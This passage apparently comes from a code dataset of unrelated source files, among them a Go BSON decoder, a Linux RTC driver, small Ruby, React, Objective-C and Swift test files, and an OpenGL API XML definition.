{\n\t\tcase reflect.String:\n\t\t\tout.SetString(inv.String())\n\t\t\treturn true\n\t\tcase reflect.Slice:\n\t\t\tif b, ok := in.([]byte); ok {\n\t\t\t\tout.SetString(string(b))\n\t\t\t\treturn true\n\t\t\t}\n\t\tcase reflect.Int, reflect.Int64:\n\t\t\tif outt == typeJSONNumber {\n\t\t\t\tout.SetString(strconv.FormatInt(inv.Int(), 10))\n\t\t\t\treturn true\n\t\t\t}\n\t\tcase reflect.Float64:\n\t\t\tif outt == typeJSONNumber {\n\t\t\t\tout.SetString(strconv.FormatFloat(inv.Float(), 'f', -1, 64))\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\tcase reflect.Slice, reflect.Array:\n\t\t// Remember, array (0x04) slices are built with the correct\n\t\t// element type. If we are here, must be a cross BSON kind\n\t\t// conversion (e.g. 0x05 unmarshalling on string).\n\t\tif outt.Elem().Kind() != reflect.Uint8 {\n\t\t\tbreak\n\t\t}\n\t\tswitch inv.Kind() {\n\t\tcase reflect.String:\n\t\t\tslice := []byte(inv.String())\n\t\t\tout.Set(reflect.ValueOf(slice))\n\t\t\treturn true\n\t\tcase reflect.Slice:\n\t\t\tswitch outt.Kind() {\n\t\t\tcase reflect.Array:\n\t\t\t\treflect.Copy(out, inv)\n\t\t\tcase reflect.Slice:\n\t\t\t\tout.SetBytes(inv.Bytes())\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\tswitch inv.Kind() {\n\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\tout.SetInt(inv.Int())\n\t\t\treturn true\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tout.SetInt(int64(inv.Float()))\n\t\t\treturn true\n\t\tcase reflect.Bool:\n\t\t\tif inv.Bool() {\n\t\t\t\tout.SetInt(1)\n\t\t\t} else {\n\t\t\t\tout.SetInt(0)\n\t\t\t}\n\t\t\treturn true\n\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\t\tpanic(\"can't happen: no uint types in BSON (!?)\")\n\t\t}\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\tswitch inv.Kind() {\n\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\tout.SetUint(uint64(inv.Int()))\n\t\t\treturn true\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tout.SetUint(uint64(inv.Float()))\n\t\t\treturn true\n\t\tcase reflect.Bool:\n\t\t\tif inv.Bool() {\n\t\t\t\tout.SetUint(1)\n\t\t\t} else {\n\t\t\t\tout.SetUint(0)\n\t\t\t}\n\t\t\treturn true\n\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\t\tpanic(\"Can't happen. No uint types in BSON.\")\n\t\t}\n\tcase reflect.Float32, reflect.Float64:\n\t\tswitch inv.Kind() {\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tout.SetFloat(inv.Float())\n\t\t\treturn true\n\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\tout.SetFloat(float64(inv.Int()))\n\t\t\treturn true\n\t\tcase reflect.Bool:\n\t\t\tif inv.Bool() {\n\t\t\t\tout.SetFloat(1)\n\t\t\t} else {\n\t\t\t\tout.SetFloat(0)\n\t\t\t}\n\t\t\treturn true\n\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\t\tpanic(\"Can't happen. No uint types in BSON?\")\n\t\t}\n\tcase reflect.Bool:\n\t\tswitch inv.Kind() {\n\t\tcase reflect.Bool:\n\t\t\tout.SetBool(inv.Bool())\n\t\t\treturn true\n\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\tout.SetBool(inv.Int() != 0)\n\t\t\treturn true\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tout.SetBool(inv.Float() != 0)\n\t\t\treturn true\n\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\t\tpanic(\"Can't happen. No uint types in BSON?\")\n\t\t}\n\tcase reflect.Struct:\n\t\tif outt == typeURL && inv.Kind() == reflect.String {\n\t\t\tu, err := url.Parse(inv.String())\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tout.Set(reflect.ValueOf(u).Elem())\n\t\t\treturn true\n\t\t}\n\t\tif outt == typeBinary {\n\t\t\tif b, ok := in.([]byte); ok {\n\t\t\t\tout.Set(reflect.ValueOf(Binary{Data: b}))\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n\n// --------------------------------------------------------------------------\n// Parsers of basic types.\n\nfunc (d *decoder) readRegEx() RegEx {\n\tre := RegEx{}\n\tre.Pattern = d.readCStr()\n\tre.Options = d.readCStr()\n\treturn re\n}\n\nfunc (d *decoder) readBinary() Binary {\n\tl := d.readInt32()\n\tb := Binary{}\n\tb.Kind = d.readByte()\n\tb.Data = d.readBytes(l)\n\tif b.Kind == 0x02 && len(b.Data) >= 4 {\n\t\t// Weird obsolete format with redundant length.\n\t\tb.Data = b.Data[4:]\n\t}\n\treturn b\n}\n\nfunc (d *decoder) readStr() string {\n\tl := d.readInt32()\n\tb := d.readBytes(l - 1)\n\tif d.readByte() != '\\x00' {\n\t\tcorrupted()\n\t}\n\treturn string(b)\n}\n\nfunc (d *decoder) readCStr() string {\n\tstart := d.i\n\tend := start\n\tl := len(d.in)\n\tfor ; end != l; end++ {\n\t\tif d.in[end] == '\\x00' {\n\t\t\tbreak\n\t\t}\n\t}\n\td.i = end + 1\n\tif d.i > l {\n\t\tcorrupted()\n\t}\n\treturn string(d.in[start:end])\n}\n\nfunc (d *decoder) readBool() bool {\n\tb := d.readByte()\n\tif b == 0 {\n\t\treturn false\n\t}\n\tif b == 1 {\n\t\treturn true\n\t}\n\tpanic(fmt.Sprintf(\"encoded boolean must be 1 or 0, found %d\", b))\n}\n\nfunc (d *decoder) readFloat64() float64 {\n\treturn math.Float64frombits(uint64(d.readInt64()))\n}\n\nfunc (d *decoder) readInt32() int32 {\n\tb := d.readBytes(4)\n\treturn int32((uint32(b[0]) << 0) |\n\t\t(uint32(b[1]) << 8) |\n\t\t(uint32(b[2]) << 16) |\n\t\t(uint32(b[3]) << 24))\n}\n\nfunc (d *decoder) readInt64() int64 {\n\tb := d.readBytes(8)\n\treturn int64((uint64(b[0]) << 0) |\n\t\t(uint64(b[1]) << 8) |\n\t\t(uint64(b[2]) << 16) |\n\t\t(uint64(b[3]) << 24) |\n\t\t(uint64(b[4]) << 32) |\n\t\t(uint64(b[5]) << 40) |\n\t\t(uint64(b[6]) << 48) |\n\t\t(uint64(b[7]) << 56))\n}\n\nfunc (d *decoder) readByte() byte {\n\ti := d.i\n\td.i++\n\tif d.i > len(d.in) {\n\t\tcorrupted()\n\t}\n\treturn d.in[i]\n}\n\nfunc (d *decoder) readBytes(length int32) []byte {\n\tif length < 0 {\n\t\tcorrupted()\n\t}\n\tstart := d.i\n\td.i += int(length)\n\tif d.i < start || d.i > len(d.in) {\n\t\tcorrupted()\n\t}\n\treturn d.in[start : start+int(length)]\n}\n"} {"text": "import React from 'react';\n\n// eslint-disable-next-line react/prop-types\nexport const Tag = ({ title = 'Beta' }) => <div>{title}</div>;\nexport const component = Tag;\n"} {"text": "/*\n * Copyright (C) 2016 Oleksij Rempel <linux@rempel-privat.de>\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the\n * Free Software Foundation; either version 2 of the License,\n * or (at your option) any later version.\n */\n\n#include <linux/clk.h>\n#include <linux/interrupt.h>\n#include <linux/io.h>\n#include <linux/module.h>\n#include <linux/of.h>\n#include <linux/platform_device.h>\n#include <linux/rtc.h>\n\n/* Miscellaneous registers */\n/* Interrupt Location Register */\n#define HW_ILR\t\t\t0x00\n#define BM_RTCALF\t\tBIT(1)\n#define BM_RTCCIF\t\tBIT(0)\n\n/* Clock Control Register */\n#define HW_CCR\t\t\t0x08\n/* Calibration counter disable */\n#define BM_CCALOFF\t\tBIT(4)\n/* Reset internal oscillator divider */\n#define BM_CTCRST\t\tBIT(1)\n/* Clock Enable */\n#define BM_CLKEN\t\tBIT(0)\n\n/* Counter Increment Interrupt Register */\n#define HW_CIIR\t\t\t0x0C\n#define BM_CIIR_IMYEAR\t\tBIT(7)\n#define BM_CIIR_IMMON\t\tBIT(6)\n#define BM_CIIR_IMDOY\t\tBIT(5)\n#define BM_CIIR_IMDOW\t\tBIT(4)\n#define BM_CIIR_IMDOM\t\tBIT(3)\n#define BM_CIIR_IMHOUR\t\tBIT(2)\n#define BM_CIIR_IMMIN\t\tBIT(1)\n#define BM_CIIR_IMSEC\t\tBIT(0)\n\n/* Alarm Mask Register */\n#define HW_AMR\t\t\t0x10\n#define BM_AMR_IMYEAR\t\tBIT(7)\n#define BM_AMR_IMMON\t\tBIT(6)\n#define BM_AMR_IMDOY\t\tBIT(5)\n#define BM_AMR_IMDOW\t\tBIT(4)\n#define BM_AMR_IMDOM\t\tBIT(3)\n#define BM_AMR_IMHOUR\t\tBIT(2)\n#define BM_AMR_IMMIN\t\tBIT(1)\n#define BM_AMR_IMSEC\t\tBIT(0)\n#define BM_AMR_OFF\t\t0xff\n\n/* Consolidated time registers */\n#define HW_CTIME0\t\t0x14\n#define BM_CTIME0_DOW_S\t\t24\n#define BM_CTIME0_DOW_M\t\t0x7\n#define BM_CTIME0_HOUR_S\t16\n#define BM_CTIME0_HOUR_M\t0x1f\n#define BM_CTIME0_MIN_S\t\t8\n#define BM_CTIME0_MIN_M\t\t0x3f\n#define BM_CTIME0_SEC_S\t\t0\n#define BM_CTIME0_SEC_M\t\t0x3f\n\n#define HW_CTIME1\t\t0x18\n#define BM_CTIME1_YEAR_S\t16\n#define BM_CTIME1_YEAR_M\t0xfff\n#define BM_CTIME1_MON_S\t\t8\n#define BM_CTIME1_MON_M\t\t0xf\n#define BM_CTIME1_DOM_S\t\t0\n#define BM_CTIME1_DOM_M\t\t0x1f\n\n#define HW_CTIME2\t\t0x1C\n#define BM_CTIME2_DOY_S\t\t0\n#define BM_CTIME2_DOY_M\t\t0xfff\n\n/* Time counter registers */\n#define HW_SEC\t\t\t0x20\n#define HW_MIN\t\t\t0x24\n#define HW_HOUR\t\t\t0x28\n#define HW_DOM\t\t\t0x2C\n#define HW_DOW\t\t\t0x30\n#define HW_DOY\t\t\t0x34\n#define HW_MONTH\t\t0x38\n#define HW_YEAR\t\t\t0x3C\n\n#define HW_CALIBRATION\t\t0x40\n#define BM_CALDIR_BACK\t\tBIT(17)\n#define BM_CALVAL_M\t\t0x1ffff\n\n/* General purpose registers */\n#define HW_GPREG0\t\t0x44\n#define HW_GPREG1\t\t0x48\n#define HW_GPREG2\t\t0x4C\n#define HW_GPREG3\t\t0x50\n#define HW_GPREG4\t\t0x54\n\n/* Alarm register group */\n#define HW_ALSEC\t\t0x60\n#define HW_ALMIN\t\t0x64\n#define HW_ALHOUR\t\t0x68\n#define HW_ALDOM\t\t0x6C\n#define HW_ALDOW\t\t0x70\n#define HW_ALDOY\t\t0x74\n#define HW_ALMON\t\t0x78\n#define HW_ALYEAR\t\t0x7C\n\nstruct asm9260_rtc_priv {\n\tstruct device\t\t*dev;\n\tvoid __iomem\t\t*iobase;\n\tstruct rtc_device\t*rtc;\n\tstruct clk\t\t*clk;\n};\n\nstatic irqreturn_t asm9260_rtc_irq(int irq, void *dev_id)\n{\n\tstruct asm9260_rtc_priv *priv = dev_id;\n\tu32 isr;\n\tunsigned long events = 0;\n\n\tmutex_lock(&priv->rtc->ops_lock);\n\tisr = ioread32(priv->iobase + HW_CIIR);\n\tif (!isr) {\n\t\tmutex_unlock(&priv->rtc->ops_lock);\n\t\treturn IRQ_NONE;\n\t}\n\n\tiowrite32(0, priv->iobase + HW_CIIR);\n\tmutex_unlock(&priv->rtc->ops_lock);\n\n\tevents |= RTC_AF | RTC_IRQF;\n\n\trtc_update_irq(priv->rtc, 1, events);\n\n\treturn IRQ_HANDLED;\n}\n\nstatic int asm9260_rtc_read_time(struct device *dev, struct rtc_time *tm)\n{\n\tstruct asm9260_rtc_priv *priv = dev_get_drvdata(dev);\n\tu32 ctime0, ctime1, ctime2;\n\n\tctime0 = ioread32(priv->iobase + HW_CTIME0);\n\tctime1 = ioread32(priv->iobase + HW_CTIME1);\n\tctime2 = ioread32(priv->iobase + HW_CTIME2);\n\n\tif (ctime1 != ioread32(priv->iobase + HW_CTIME1)) {\n\t\t/*\n\t\t * woops, counter flipped right now. Now we are safe\n\t\t * to reread.\n\t\t */\n\t\tctime0 = ioread32(priv->iobase + HW_CTIME0);\n\t\tctime1 = ioread32(priv->iobase + HW_CTIME1);\n\t\tctime2 = ioread32(priv->iobase + HW_CTIME2);\n\t}\n\n\ttm->tm_sec = (ctime0 >> BM_CTIME0_SEC_S) & BM_CTIME0_SEC_M;\n\ttm->tm_min = (ctime0 >> BM_CTIME0_MIN_S) & BM_CTIME0_MIN_M;\n\ttm->tm_hour = (ctime0 >> BM_CTIME0_HOUR_S) & BM_CTIME0_HOUR_M;\n\ttm->tm_wday = (ctime0 >> BM_CTIME0_DOW_S) & BM_CTIME0_DOW_M;\n\n\ttm->tm_mday = (ctime1 >> BM_CTIME1_DOM_S) & BM_CTIME1_DOM_M;\n\ttm->tm_mon = (ctime1 >> BM_CTIME1_MON_S) & BM_CTIME1_MON_M;\n\ttm->tm_year = (ctime1 >> BM_CTIME1_YEAR_S) & BM_CTIME1_YEAR_M;\n\n\ttm->tm_yday = (ctime2 >> BM_CTIME2_DOY_S) & BM_CTIME2_DOY_M;\n\n\treturn 0;\n}\n\nstatic int asm9260_rtc_set_time(struct device *dev, struct rtc_time *tm)\n{\n\tstruct asm9260_rtc_priv *priv = dev_get_drvdata(dev);\n\n\t/*\n\t * make sure SEC counter will not flip other counter on write time,\n\t * real value will be written at the enf of sequence.\n\t */\n\tiowrite32(0, priv->iobase + HW_SEC);\n\n\tiowrite32(tm->tm_year, priv->iobase + HW_YEAR);\n\tiowrite32(tm->tm_mon, priv->iobase + HW_MONTH);\n\tiowrite32(tm->tm_mday, priv->iobase + HW_DOM);\n\tiowrite32(tm->tm_wday, priv->iobase + HW_DOW);\n\tiowrite32(tm->tm_yday, priv->iobase + HW_DOY);\n\tiowrite32(tm->tm_hour, priv->iobase + HW_HOUR);\n\tiowrite32(tm->tm_min, priv->iobase + HW_MIN);\n\tiowrite32(tm->tm_sec, priv->iobase + HW_SEC);\n\n\treturn 0;\n}\n\nstatic int asm9260_rtc_read_alarm(struct device *dev, struct rtc_wkalrm *alrm)\n{\n\tstruct asm9260_rtc_priv *priv = dev_get_drvdata(dev);\n\n\talrm->time.tm_year = ioread32(priv->iobase + HW_ALYEAR);\n\talrm->time.tm_mon = ioread32(priv->iobase + HW_ALMON);\n\talrm->time.tm_mday = ioread32(priv->iobase + HW_ALDOM);\n\talrm->time.tm_wday = ioread32(priv->iobase + HW_ALDOW);\n\talrm->time.tm_yday = ioread32(priv->iobase + HW_ALDOY);\n\talrm->time.tm_hour = ioread32(priv->iobase + HW_ALHOUR);\n\talrm->time.tm_min = ioread32(priv->iobase + HW_ALMIN);\n\talrm->time.tm_sec = ioread32(priv->iobase + HW_ALSEC);\n\n\talrm->enabled = ioread32(priv->iobase + HW_AMR) ? 1 : 0;\n\talrm->pending = ioread32(priv->iobase + HW_CIIR) ? 1 : 0;\n\n\treturn rtc_valid_tm(&alrm->time);\n}\n\nstatic int asm9260_rtc_set_alarm(struct device *dev, struct rtc_wkalrm *alrm)\n{\n\tstruct asm9260_rtc_priv *priv = dev_get_drvdata(dev);\n\n\tiowrite32(alrm->time.tm_year, priv->iobase + HW_ALYEAR);\n\tiowrite32(alrm->time.tm_mon, priv->iobase + HW_ALMON);\n\tiowrite32(alrm->time.tm_mday, priv->iobase + HW_ALDOM);\n\tiowrite32(alrm->time.tm_wday, priv->iobase + HW_ALDOW);\n\tiowrite32(alrm->time.tm_yday, priv->iobase + HW_ALDOY);\n\tiowrite32(alrm->time.tm_hour, priv->iobase + HW_ALHOUR);\n\tiowrite32(alrm->time.tm_min, priv->iobase + HW_ALMIN);\n\tiowrite32(alrm->time.tm_sec, priv->iobase + HW_ALSEC);\n\n\tiowrite32(alrm->enabled ? 0 : BM_AMR_OFF, priv->iobase + HW_AMR);\n\n\treturn 0;\n}\n\nstatic int asm9260_alarm_irq_enable(struct device *dev, unsigned int enabled)\n{\n\tstruct asm9260_rtc_priv *priv = dev_get_drvdata(dev);\n\n\tiowrite32(enabled ? 0 : BM_AMR_OFF, priv->iobase + HW_AMR);\n\treturn 0;\n}\n\nstatic const struct rtc_class_ops asm9260_rtc_ops = {\n\t.read_time\t\t= asm9260_rtc_read_time,\n\t.set_time\t\t= asm9260_rtc_set_time,\n\t.read_alarm\t\t= asm9260_rtc_read_alarm,\n\t.set_alarm\t\t= asm9260_rtc_set_alarm,\n\t.alarm_irq_enable\t= asm9260_alarm_irq_enable,\n};\n\nstatic int asm9260_rtc_probe(struct platform_device *pdev)\n{\n\tstruct asm9260_rtc_priv *priv;\n\tstruct device *dev = &pdev->dev;\n\tstruct resource\t*res;\n\tint irq_alarm, ret;\n\tu32 ccr;\n\n\tpriv = devm_kzalloc(dev, sizeof(struct asm9260_rtc_priv), GFP_KERNEL);\n\tif (!priv)\n\t\treturn -ENOMEM;\n\n\tpriv->dev = &pdev->dev;\n\tplatform_set_drvdata(pdev, priv);\n\n\tirq_alarm = platform_get_irq(pdev, 0);\n\tif (irq_alarm < 0) {\n\t\tdev_err(dev, \"No alarm IRQ resource defined\\n\");\n\t\treturn irq_alarm;\n\t}\n\n\tres = platform_get_resource(pdev, IORESOURCE_MEM, 0);\n\tpriv->iobase = devm_ioremap_resource(dev, res);\n\tif (IS_ERR(priv->iobase))\n\t\treturn PTR_ERR(priv->iobase);\n\n\tpriv->clk = devm_clk_get(dev, \"ahb\");\n\tret = clk_prepare_enable(priv->clk);\n\tif (ret) {\n\t\tdev_err(dev, \"Failed to enable clk!\\n\");\n\t\treturn ret;\n\t}\n\n\tccr = ioread32(priv->iobase + HW_CCR);\n\t/* if dev is not enabled, reset it */\n\tif ((ccr & (BM_CLKEN | BM_CTCRST)) != BM_CLKEN) {\n\t\tiowrite32(BM_CTCRST, priv->iobase + HW_CCR);\n\t\tccr = 0;\n\t}\n\n\tiowrite32(BM_CLKEN | ccr, priv->iobase + HW_CCR);\n\tiowrite32(0, priv->iobase + HW_CIIR);\n\tiowrite32(BM_AMR_OFF, priv->iobase + HW_AMR);\n\n\tpriv->rtc = devm_rtc_device_register(dev, dev_name(dev),\n\t\t\t\t\t &asm9260_rtc_ops, THIS_MODULE);\n\tif (IS_ERR(priv->rtc)) {\n\t\tret = PTR_ERR(priv->rtc);\n\t\tdev_err(dev, \"Failed to register RTC device: %d\\n\", ret);\n\t\tgoto err_return;\n\t}\n\n\tret = devm_request_threaded_irq(dev, irq_alarm, NULL,\n\t\t\t\t\tasm9260_rtc_irq, IRQF_ONESHOT,\n\t\t\t\t\tdev_name(dev), priv);\n\tif (ret < 0) {\n\t\tdev_err(dev, \"can't get irq %i, err %d\\n\",\n\t\t\tirq_alarm, ret);\n\t\tgoto err_return;\n\t}\n\n\treturn 0;\n\nerr_return:\n\tclk_disable_unprepare(priv->clk);\n\treturn ret;\n}\n\nstatic int asm9260_rtc_remove(struct platform_device *pdev)\n{\n\tstruct asm9260_rtc_priv *priv = platform_get_drvdata(pdev);\n\n\t/* Disable alarm matching */\n\tiowrite32(BM_AMR_OFF, priv->iobase + HW_AMR);\n\tclk_disable_unprepare(priv->clk);\n\treturn 0;\n}\n\nstatic const struct of_device_id asm9260_dt_ids[] = {\n\t{ .compatible = \"alphascale,asm9260-rtc\", },\n\t{}\n};\nMODULE_DEVICE_TABLE(of, asm9260_dt_ids);\n\nstatic struct platform_driver asm9260_rtc_driver = {\n\t.probe\t\t= asm9260_rtc_probe,\n\t.remove\t\t= asm9260_rtc_remove,\n\t.driver\t\t= {\n\t\t.name\t= \"asm9260-rtc\",\n\t\t.of_match_table = asm9260_dt_ids,\n\t},\n};\n\nmodule_platform_driver(asm9260_rtc_driver);\n\nMODULE_AUTHOR(\"Oleksij Rempel <linux@rempel-privat.de>\");\nMODULE_DESCRIPTION(\"Alphascale asm9260 SoC Realtime Clock Driver (RTC)\");\nMODULE_LICENSE(\"GPL\");\n"} {"text": "# frozen_string_literal: true\nmodule Hamlit\n class Filters\n class Erb < TiltBase\n def compile(node)\n compile_with_tilt(node, 'erb')\n end\n end\n end\nend\n"} {"text": "/**\n * Copyright (c) 2006-2020 LOVE Development Team\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any damages\n * arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any purpose,\n * including commercial applications, and to alter it and redistribute it\n * freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you must not\n * claim that you wrote the original software. If you use this software\n * in a product, an acknowledgment in the product documentation would be\n * appreciated but is not required.\n * 2. Altered source versions must be plainly marked as such, and must not be\n * misrepresented as being the original software.\n * 3. This notice may not be removed or altered from any source distribution.\n **/\n\n#include \"macosx.h\"\n\n#ifdef LOVE_MACOSX\n\n#import <Foundation/Foundation.h>\n#import <Cocoa/Cocoa.h>\n\n#ifdef LOVE_MACOSX_SDL_DIRECT_INCLUDE\n# include <SDL.h>\n#else\n# include <SDL2/SDL.h>\n#endif\n\nnamespace love\n{\nnamespace macosx\n{\n\nstd::string getLoveInResources()\n{\n\tstd::string path;\n\n\t@autoreleasepool\n\t{\n\t\t// Check to see if there are any .love files in Resources.\n\t\tNSString *lovepath = [[NSBundle mainBundle] pathForResource:nil ofType:@\"love\"];\n\n\t\tif (lovepath != nil)\n\t\t\tpath = lovepath.UTF8String;\n\t}\n\n\treturn path;\n}\n\nstd::string checkDropEvents()\n{\n\tstd::string dropstr;\n\tSDL_Event event;\n\n\tSDL_InitSubSystem(SDL_INIT_VIDEO);\n\n\tSDL_PumpEvents();\n\tif (SDL_PeepEvents(&event, 1, SDL_GETEVENT, SDL_DROPFILE, SDL_DROPFILE) > 0)\n\t{\n\t\tif (event.type == SDL_DROPFILE)\n\t\t{\n\t\t\tdropstr = std::string(event.drop.file);\n\t\t\tSDL_free(event.drop.file);\n\t\t}\n\t}\n\n\tSDL_QuitSubSystem(SDL_INIT_VIDEO);\n\n\treturn dropstr;\n}\n\nstd::string getExecutablePath()\n{\n\t@autoreleasepool\n\t{\n\t\treturn std::string([NSBundle mainBundle].executablePath.UTF8String);\n\t}\n}\n\nvoid requestAttention(bool continuous)\n{\n\t@autoreleasepool\n\t{\n\t\tif (continuous)\n\t\t\t[NSApp requestUserAttention:NSCriticalRequest];\n\t\telse\n\t\t\t[NSApp requestUserAttention:NSInformationalRequest];\n\t}\n}\n\n} // osx\n} // love\n\n#endif // LOVE_MACOSX\n"} {"text": "// Distributed under the terms of the MIT license\n// Test case submitted to project by https://github.com/practicalswift (practicalswift)\n// Test case found by fuzzing\n\nvar f = 1\n Int - <T>()(T) -> T\n}\nfunc b(c) -> <d>(() -> d) as }\n"} {"text": "/*-\n * Copyright (c) 1992, 1993\n *\tThe Regents of the University of California. All rights reserved.\n *\n * This software was developed by the Computer Systems Engineering group\n * at Lawrence Berkeley Laboratory under DARPA contract BG 91-66 and\n * contributed to Berkeley.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n * must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Berkeley and its contributors.\n * 4. Neither the name of the University nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n */\n\n#if defined(LIBC_SCCS) && !defined(lint)\nstatic char sccsid[] = \"@(#)ucmpdi2.c\t8.1 (Berkeley) 6/4/93\";\n#endif /* LIBC_SCCS and not lint */\n\n#include \"quad.h\"\n\n/*\n * Return 0, 1, or 2 as a <, =, > b respectively.\n * Neither a nor b are considered signed.\n */\nint\n__ucmpdi2(a, b)\n\tu_quad_t a, b;\n{\n\tunion uu aa, bb;\n\n\taa.uq = a;\n\tbb.uq = b;\n\treturn (aa.ul[H] < bb.ul[H] ? 0 : aa.ul[H] > bb.ul[H] ? 2 :\n\t aa.ul[L] < bb.ul[L] ? 0 : aa.ul[L] > bb.ul[L] ? 2 : 1);\n}\n"} {"text": "f(p) := f(n: p + 1)$\nf(0);\nMaxima encountered a Lisp error:\n Error in PROGN [or a callee]: Bind stack overflow.\nAutomatically continuing.\nTo enable the Lisp debugger set *debugger-hook* to nil.\n\nn;\n406\n"} {"text": "$:.push File.expand_path(\"../lib\", __FILE__)\n\n# Maintain your gem's version:\nrequire \"common-ui/version\"\n\n# Describe your gem and declare its dependencies:\nGem::Specification.new do |s|\n s.name = \"common-ui\"\n s.version = CommonUi::VERSION\n s.summary = \"Common UI parts\"\n s.author = \"Cybernetica AS\"\n\n s.files = Dir[\"{app,config,lib}/**/*\"] + [\"Rakefile\"]\n\n s.add_dependency \"rails\", \"~> 3.2.0\"\n s.add_dependency 'rack-cache', '~> 1.6.0'\n\n s.add_dependency \"addressable\", '~> 2.4.0'\nend\n"} {"text": "// RUN: %clang_cc1 -emit-llvm -o %t %s\n\n@protocol NSObject\n- (void *)description;\n@end\n\nint main()\n{\n id<NSObject> eggs;\n void *eggsText= eggs.description;\n}\n"} {"text": "<?xml version=\"1.0\"?>\n<!DOCTYPE OpenGLAPI SYSTEM \"gl_API.dtd\">\n\n<OpenGLAPI>\n\n<category name=\"GL_ARB_texture_buffer_range\" number=\"139\">\n\n <enum name=\"TEXTURE_BUFFER_OFFSET\" value=\"0x919D\"/>\n <enum name=\"TEXTURE_BUFFER_SIZE\" value=\"0x919E\"/>\n <enum name=\"TEXTURE_BUFFER_OFFSET_ALIGNMENT\" value=\"0x919F\"/>\n\n <function name=\"TexBufferRange\" es2=\"3.2\">\n <param name=\"target\" type=\"GLenum\"/>\n <param name=\"internalformat\" type=\"GLenum\"/>\n <param name=\"buffer\" type=\"GLuint\"/>\n <param name=\"offset\" type=\"GLintptr\"/>\n <param name=\"size\" type=\"GLsizeiptr\"/>\n </function>\n\n</category>\n\n</OpenGLAPI>\n"} {"text": "///////////////////////////////////////////////////////////////////////////////\r\n// FILE: Mightex_USBCamera.h\r\n// PROJECT: Micro-Manager\r\n// SUBSYSTEM: DeviceAdapters\r\n//-----------------------------------------------------------------------------\r\n// DESCRIPTION: The example implementation of the Mightex USB camera.\r\n// Simulates generic digital camera and associated automated\r\n// microscope devices and enables testing of the rest of the\r\n// system without the need to connect to the actual hardware.\r\n//\r\n// AUTHOR: Yihui, mightexsystem.com, 12/17/2014\r\n//\r\n// COPYRIGHT: University of California, San Francisco, 2006\r\n// 100X Imaging Inc, 2008\r\n// Mightex Systems, 2014-2015\r\n//\r\n// LICENSE: This file is distributed under the BSD license.\r\n// License text is included with the source distribution.\r\n//\r\n// This file is distributed in the hope that it will be useful,\r\n// but WITHOUT ANY WARRANTY; without even the implied warranty\r\n// of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\r\n//\r\n// IN NO EVENT SHALL THE COPYRIGHT OWNER OR\r\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\r\n// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.\r\n\r\n#ifndef _Mightex_USBCamera_H_\r\n#define _Mightex_USBCamera_H_\r\n\r\n#include \"../../MMDevice/DeviceBase.h\"\r\n#include \"../../MMDevice/ImgBuffer.h\"\r\n#include \"../../MMDevice/DeviceThreads.h\"\r\n#include <string>\r\n#include <map>\r\n#include <algorithm>\r\n\r\n//////////////////////////////////////////////////////////////////////////////\r\n// Error codes\r\n//\r\n#define ERR_UNKNOWN_MODE 102\r\n#define ERR_UNKNOWN_POSITION 103\r\n#define ERR_IN_SEQUENCE 104\r\n#define ERR_SEQUENCE_INACTIVE 